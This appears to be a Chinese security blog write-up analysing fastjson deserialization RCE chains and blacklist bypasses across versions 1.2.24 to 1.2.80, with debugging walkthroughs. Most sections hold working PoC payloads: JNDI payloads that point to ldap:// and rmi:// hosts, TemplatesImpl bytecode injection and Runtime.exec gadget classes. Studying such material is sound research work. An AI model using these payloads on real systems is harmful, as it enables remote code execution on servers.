1. 1. 前言
  2. 2. fastjson 反序列化时的一些规则
  3. 3. FastJson <= 1.2.24
    1. 3.1. jdbcRowSetImpl链
      1. 3.1.1. POC
      2. 3.1.2. 利用场景:
    2. 3.2. TemplatesImpl链(条件苛刻)
      1. 3.2.1. POC(参考 Y4er师傅)
  4. 4. 1.2.25 <= FastJson <= 1.2.41
    1. 4.0.1. POC
  • 5. FastJson 1.2.42
    1. 5.0.1. POC
  • 6. FastJson 1.2.43
    1. 6.0.1. POC
  • 7. FastJson 1.2.44
  • 8. FastJson 1.2.45
    1. 8.0.1. POC
  • 9. FastJson 1.2.47 (重要)
    1. 9.0.1. POC
  • 10. FastJson 1.2.48
  • 11. FastJson 1.2.62
    1. 11.0.1. POC
  • 12. FastJson 1.2.66
    1. 12.0.1. POC
  • 13. FastJson 1.2.68
    1. 13.0.1. POC1 (Throwable)
    2. 13.0.2. POC2 (AutoCloseable)
  • 14. FastJson 1.2.80
    1. 14.0.1. POC
  • 15. 参考文章:
  • 前言

    影响版本:fastjson <= 1.2.24
    描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。

    fastjson <= 1.2.24 存在两条利用链:

    (1) jdbcRowSetImpl - JNDI注入

    (2) TemplatesImpl

    fastjson 反序列化时的一些规则

    这里列举一些 fastjson 反序列化时对函数方法名和参数的一些要求:

    • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的 class。
    • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,
      • 其中 getter 方法需满足条件:
        • 方法名长于 4
        • 不是静态方法
        • get 开头且第 4 位是大写字母
        • 方法不能有参数传入
        • 继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
        • 此属性没有 setter 方法;
      • setter 方法需满足条件:
        • 方法名长于 4
        • set 开头且第 4 位是大写字母
        • 非静态方法
        • 返回类型为 void 或当前类
        • 参数个数为 1 个。
          具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。

    FastJson <= 1.2.24

    jdbcRowSetImpl链

    位置:com.sun.rowset.JdbcRowSetImpl#setAutoCommit

    跟进 this.connect()方法:

    image-20250113233126401

    this.connect()方法中使用了 lookup()方法:

    image-20250113233106135

    dataSourceName值可控,存在JNDI注入:

    image-20250113233054064

    POC

    1
    2
    3
    4
    5
    {
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://192.168.43.95:8085/Command",
    "autoCommit":true
    }

    image-20250113233038734

    利用场景:

    1
    2
    3
    4
    5
    6
    (1) 使用 parseObeject()方法时:
    Object object = JSON.parseObject(user);
    Object object = JSON.parseObject(user, Object.class);

    (2) 使用 parse()方法时:
    Object object = JSON.parse(user);

    其中 user输入用户可控。

    TemplatesImpl链(条件苛刻)

    TemplatesImpl 起源 getter方法 getOutputProperties(),跟进 newTransformer():

    image-20250112100733289

    继续跟进 getTransletInstance():

    image-20250112101715039

    可以看到当 _class 的值为 null时会调用 defineTransletClasses(),跟进 defineTransletClasses():

    image-20250112102115949

    image-20250112102556264

    1、想进入 try{}代码模块。_bytecodes字节码数组不可以为 null。

    2、加载的类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet_transletIndex默认值为 -1,若加载类父类不是 AbstractTranslet,就会报错。

    符合条件的类加载完成后,在 getTransletInstance()中进行实例化,实例化时会执行 静态初始化块的代码,从而RCE。

    POC(参考 Y4er师傅)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    package com.xxxx.fastjson_demo.run;

    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.tomcat.util.codec.binary.Base64;

    public class JDK7u21 {
    // 参考https://y4er.com/post/ysoserial-commonscollections-2/
    public static byte[] getevilbyte() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.get(test.class.getName());
    String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
    cc.makeClassInitializer().insertBefore(cmd); //将恶意代码添加至静态代码块中
    String randomClassName = "XxxX" + System.nanoTime();
    cc.setName(randomClassName);
    cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));

    return cc.toBytecode();
    }


    //main函数调用以下poc而已
    public static void main(String args[]) {
    try {
    byte[] evilCode = getevilbyte();
    String evilCode_base64 = Base64.encodeBase64String(evilCode);
    final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + evilCode_base64 + "\"],'_name':'asd','_tfactory':{ },\"_outputProperties\":{ }," + "\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);
    ParserConfig config = new ParserConfig();
    Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

    } catch (Exception e) {
    e.printStackTrace();
    }
    }

    public static class test {

    }
    }

    1.2.25 <= FastJson <= 1.2.41

    使用 jdbc链时报错:autoType is not support. com.sun.rowset.jdbcRowSetImpl

    image-20250112105301636

    FastJson 在 1.2.25 ~ 1.2.41 版本中增加了 checkAutoType(),在获取 @type的值时对其进行检测:

    image-20250112110032572

    跟进 com.alibaba.fastjson.parser.ParserConfig#checkAutoType

    autoTypeSupport 值默认为 false,使用黑白名单进行验证,若将 autoTypeSupport机制开启,即 autoTypeSupport = true,即可无需白名单检测通过,也可以加载类:

    image-20250112111304931

    但依然要绕过黑名单检测:

    image-20250112111411301

    可以使用 loadClass()的特殊字符去除机制进行绕过(逻辑漏洞):

    image-20250112111720621

    类名开头为[会在类加载时去除,以 L开头;结尾也会在类加载时去除。

    POC

    1、首先显示的开启 autoTypeSupport机制:

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

    2、特殊字符绕过黑名单检测:

    1
    2
    3
    4
    5
    {
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://192.168.43.95:8085/Command",
    "autoCommit":true
    }

    image-20250112113038170

    注:黑名单绕过是基于ParserConfig.getGlobalInstance().setAutoTypeSupport(true);的基础之上的。

    FastJson 1.2.42

    1.2.42 版本中的黑名单采用了 hash值的形式。

    并且对传入的类进行了特殊字符处理,对开头的 L 和结尾的 ; 进行了一次去除,并重新将删除后的结果赋值className。但 loadClass()进行的是递归处理,所以可以双写绕过:

    image-20250112121613120

    POC

    1
    2
    3
    4
    5
    {
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://192.168.43.95:8085/Command",
    "autoCommit":true
    }

    FastJson 1.2.43

    修复双写绕过,若出现两个 L字符开头则直接抛出异常:

    image-20250112123349780

    但是 [ 可以正常使用,使用 [绕过即可。

    POC

    1
    2
    3
    4
    5
    {
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://192.168.43.95:8085/Command",
    "autoCommit":true
    }

    FastJson 1.2.44

    修复了 1.2.43中 [字符绕过的问题。

    FastJson 1.2.45

    黑名单绕过。

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    {
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
    "data_source":"ldap://127.0.0.1:23457/Command8"
    }
    }

    //需要有第三方组件ibatis-core 3:0

    FastJson 1.2.47 (重要)

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    {
    "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Exploit",
    "autoCommit": true
    }
    }

    FastJson 1.2.47 是最为严重的一个漏洞。可以在不开启 autoTypeSupport的条件下实现RCE。

    com.alibaba.fastjson.util.TypeUtils的静态代码块初始化调用 com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings 将常用的类通过 loadClass()放到 mappings中:

    image-20250112145116554

    使用 POC进行调试:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public class Test {
    public static void main(String[] args) {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String s = "{\n" +
    " \"a\": {\n" +
    " \"@type\": \"java.lang.Class\", \n" +
    " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
    " }, \n" +
    " \"b\": {\n" +
    " \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
    " \"dataSourceName\": \"ldap://192.168.43.95:8085/attack\", \n" +
    " \"autoCommit\": true\n" +
    " }\n" +
    "}\n";
    Object o = JSON.parseObject(s, Object.class); //此处打断点
    System.out.println(o);
    }
    }

    继续跟进到 checkAutoType()中,代码使用 Mapping 和使用 deserializers.findClass() 查找 Java.lang.Class:

    image-20250112150824237

    找到后赋值给 clazz:

    image-20250112150923936

    clazz有值后,直接返回了,无需经过黑白名单检测:

    image-20250112151129057

    从 checkAutoType()出来后,跟进 deserialize():

    image-20250112151512724

    Parser.parse()获取到 objVal的值:

    image-20250112151751164

    进而赋值给 strVal:

    image-20250112151819395

    经过一系列 if判断,因为 clazz 为 java.lang.Class == Class.class,所以 strVal作为参数被 TypeUtils.loadClass()调用,跟进 TypeUtils.loadClass():

    image-20250112152134181

    继续跟进 loadClass(),可以看到 cache参数默认为 true:

    image-20250112152638360

    com.sun.rowset.JdbcRowSetImpl类加入到了 mapping中。这样在解析第二组键值对时,可以在 mapping中找到 JdbcRowSetImpl类从而直接 return class,无需黑白名单检测,实现RCE。

    image-20250112153221243

    image-20250112153304150

    FastJson 1.2.48

    针对 1.2.47进行了修复,将 cache的默认值从 true修改为了 false:

    image-20250112154203318

    FastJson 1.2.62

    前提:autoTypeSupport 为 true

    POC

    1
    2
    3
    4
    {
    "@type":"org.apache.xbean.propertyeditor.JndiConverter",
    "AsText":"rmi://127.0.0.1:1099/exploit"
    }

    FastJson 1.2.66

    前提:autoTypeSupport 为 true

    POC

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    {
    "@type":"org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName":"ldap://192.168.80.1:1389/Calc"
    }

    {
    "@type":"br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry":"ldap://192.168.80.1:1389/Calc"
    }

    {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    "jndiNames":"ldap://192.168.80.1:1389/Calc"
    }

    {
    "@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties":
    {
    "@type":"java.util.Properties",
    "UserTransaction":"ldap://192.168.80.1:1389/Calc"
    }
    }

    FastJson 1.2.68

    FastJson 1.2.68版本引入了安全模式 safeMode,如果开启了安全模式,直接抛出异常,一劳永逸:

    image-20250112165649606

    这个版本有两个RCE: ThrowableDeserializer.deserialze()JavaBeanDeserializer.deserialze()

    但是 ThrowableDeserializer.deserialze() 很鸡肋,因为很少有开发往异常类中去写命令执行。

    POC1 (Throwable)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    package com.xxxx.fastjson_demo.Exploit;

    import java.io.IOException;

    public class ExecException extends Exception {

    private String command;

    public ExecException() {
    super();
    System.out.println("构造函数");
    }

    public String getCommand() {
    System.out.println("getCommand");
    return command;
    }

    public void setCommand(String command) {
    System.out.println("setCommand");
    this.command = command;
    }

    @Override
    public String getMessage() {
    try {
    Runtime.getRuntime().exec(command);
    } catch (IOException e) {
    return e.getMessage();
    }

    return super.getMessage();
    }
    }
    1
    2
    3
    4
    5
    {
    "@type":"java.lang.Exception",
    "@type": "com.xxxx.fastjson_demo.Exploit.ExecException",
    "command": "open -a Calculator"
    }

    调试

    获取 Java.lang.Exception的反序列化器时,跟进 getDeserializer()方法:

    image-20250113090744803

    因为 Throwable是 Exception类的父类,故使用 ThrowableDeserializer来获取反序列化器,而不是使用 createJavaBeanDeserializer():

    image-20250113091122829

    继续跟进 deserializer.deserialze():

    image-20250113094529453

    可以看到此时 checkAutoType()中的 exClassName值为 Throwable.class,跟进 checkAutoType():

    image-20250113094937881

    符合 expectClass.isAssignableFrom(clazz)的条件,return clazz,通过 checkAutoType检测,后续通过调用 getter,setter方法引发RCE。

    POC2 (AutoCloseable)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    package com.xxxx.fastjson_demo.Exploit;


    import java.io.Closeable;
    import java.io.IOException;

    public class ExecCloseable implements Closeable {
    private String command;

    public ExecCloseable() {
    }

    public ExecCloseable(String command) {
    this.command = command;
    }

    public String getCommand() {
    try {
    Runtime.getRuntime().exec(command);
    } catch (IOException e) {
    e.printStackTrace();
    }
    return command;
    }

    public void setCommand(String command) {
    this.command = command;
    }

    @Override
    public void close() throws IOException {
    }
    }
    1
    2
    3
    4
    5
    {
    "@type":"java.lang.AutoCloseable",
    "@type": "com.xxxx.fastjson_demo.Exploit.ExecCloseable",
    "domain": "open -a Calculator"
    }

    过程同理,不过多赘述。

    FastJson 1.2.80

    回顾 FastJson 1.2.68版本的漏洞,利用 ThrowableDeserializer和 JavaBeanDeserializer在调用 checkAutoType时第二个参数 exceptClass期望类不为空实现RCE,但是哪个开发往异常类里写命令执行函数呢,所以这个版本漏洞的攻击面很小,所以官网并未对这个绕过进行修复,而是把几个可能被利用的类加入了黑名单,为 FastJson 1.2.80版本的RCE埋下伏笔。

    参考 Y4er师傅的代码,构造一个 Json解释原理:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //MyClass类
    package com.xxxx.fastjson_demo.run;

    import java.io.IOException;

    public class MyClass {
    public String command;

    public void setCommand(String command) throws IOException {
    System.out.println("MyClass.setCommand被调用");
    Runtime runtime = Runtime.getRuntime();
    runtime.exec(command);
    }
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //MyException类
    package com.xxxx.fastjson_demo.run;

    public class MyException extends Throwable {
    private MyClass clazz;

    public void setClazz(MyClass clazz) {
    this.clazz = clazz;
    }
    }

    Json_poc:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    {
    "a":{
    "@type":"java.lang.Exception",
    "@type":"com.xxxx.fastjson_demo.run.MyException",
    "clazz":{}
    },
    "b":{
    "@type":"com.xxxx.fastjson_demo.run.MyClass","command":"open -a Calculator"
    }
    }

    打断点调试,同 FastJson_1.2.68,使用反序列化器 ThrowableDeserializer,跟进 ThrowableDeserializer.deserialze():

    image-20250113183610961

    依旧同 FastJson_1.2.68,获取第二个 @type中的值 com.xxxx.fastjson_demo.run.MyException,并创建它的异常实例:

    image-20250113183902429

    image-20250113183935511

    继续跟进,若还有剩余键值对未进行反序列化 (这里剩余 “clazz”:{}),会继续获取 exClass的反序列化器:

    image-20250113184713311

    继续跟进,如果 value不是 fieldInfo.fieldClass类型则会进入 TypeUtils.cast()中,这里 fieldInfo.fieldClass 是 com.xxxx.fastjson_demo.run.MyException,value = {}显然类型不同,跟进 TypeUtils.cast():

    image-20250113185032749

    继续跟进:

    image-20250113185330154

    经过一系列判断,因为 obj = value = {},{}表示空的 JSON对象,{} instancef Map是正确的,继续跟进 castToJavaBean():

    image-20250113185856587

    跟进 getDeserializer()方法:

    继续跟进:

    image-20250113190314011

    最后调用 putDeserializer()方法,将 com.xxxx.fastjson_demo.run.MyClass类加入到 deserializer名单中

    image-20250113190844221

    这样就可以在反序列化 Json中的 “b”的内容时,通过 checkAutoType检测,实现RCE。

    image-20250113191423118

    POC

    (1) Groovy: (参考 https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    {
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
    }


    {
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
    "@type":"org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":"http://127.0.0.1:8090/"
    }
    }

    修复:直接干掉了异常类

    image-20250113231920232

    参考文章:

    (1) https://y4er.com/posts/fastjson-1.2.80/

    (2) https://y4er.com/posts/fastjson-bypass-autotype-1268/

    (3) https://y4er.com/posts/fastjson-learn/

    (4) https://github.com/su18/hack-fastjson-1.2.80

    (5) https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7